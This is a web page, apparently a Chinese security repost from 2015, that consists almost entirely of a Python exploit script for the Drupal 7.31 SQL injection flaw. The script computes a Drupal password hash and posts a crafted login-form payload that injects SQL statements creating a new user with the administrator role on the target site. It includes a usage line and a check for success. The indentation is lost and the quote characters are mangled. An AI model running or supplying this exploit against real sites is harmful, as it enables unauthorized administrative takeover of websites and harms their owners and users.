Drupal 7.31 SQL Injection Exp
浏览数：99 /
时间：2015年06月12日
#-*- coding:utf-8 -*-
import urllib2,sys
import hashlib
# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.
class DrupalHash:
def __init__(self, stored_hash, password):
self.itoa64 = ‘./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
self.last_hash = self.rehash(stored_hash, password)
def get_hash(self):
return self.last_hash
def password_get_count_log2(self, setting):
return self.itoa64.index(setting[3])
def password_crypt(self, algo, password, setting):
setting = setting[0:12]
if setting[0] != ‘$‘ or setting[2] != ‘$‘:
return False
count_log2 = self.password_get_count_log2(setting)
salt = setting[4:12]
if len(salt) < 8:
return False
count = 1 << count_log2
if algo == ‘md5‘:
hash_func = hashlib.md5
elif algo == ‘sha512‘:
hash_func = hashlib.sha512
else:
return False
hash_str = hash_func(salt + password).digest()
for c in range(count):
hash_str = hash_func(hash_str + password).digest()
output = setting + self.custom64(hash_str)
return output
def custom64(self, string, count = 0):
if count == 0:
count = len(string)
output = ‘‘
i = 0
itoa64 = self.itoa64
while 1:
value = ord(string[i])
i += 1
output += itoa64[value & 0x3f]
if i < count:
value |= ord(string[i]) << 8
output += itoa64[(value >> 6) & 0x3f]
if i >= count:
break
i += 1
if i < count:
value |= ord(string[i]) << 16
output += itoa64[(value >> 12) & 0x3f]
if i >= count:
break
i += 1
output += itoa64[(value >> 18) & 0x3f]
if i >= count:
break
return output
def rehash(self, stored_hash, password):
# Drupal 6 compatibility
if len(stored_hash) == 32 and stored_hash.find(‘$‘) == -1:
return hashlib.md5(password).hexdigest()
# Drupal 7
if stored_hash[0:2] == ‘U$‘:
stored_hash = stored_hash[1:]
password = hashlib.md5(password).hexdigest()
hash_type = stored_hash[0:3]
if hash_type == ‘$S$‘:
hash_str = self.password_crypt(‘sha512‘, password, stored_hash)
elif hash_type == ‘$H$‘ or hash_type == ‘$P$‘:
hash_str = self.password_crypt(‘md5‘, password, stored_hash)
else:
hash_str = False
return hash_str
if __name__ == "__main__":
if len(sys.argv) != 4:
print ""
print "python 7.31.py http://www.secpulse.com/drupal adminasd 1234567"
print ""
sys.exit(1)
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = ‘%s/?q=node&destination=node‘ % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\‘" \
+user \
+"‘+,+pass+%3d+‘" \
+hash[:55] \
+"‘;INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
else:
print "Failed ,Somethings is wrong!"
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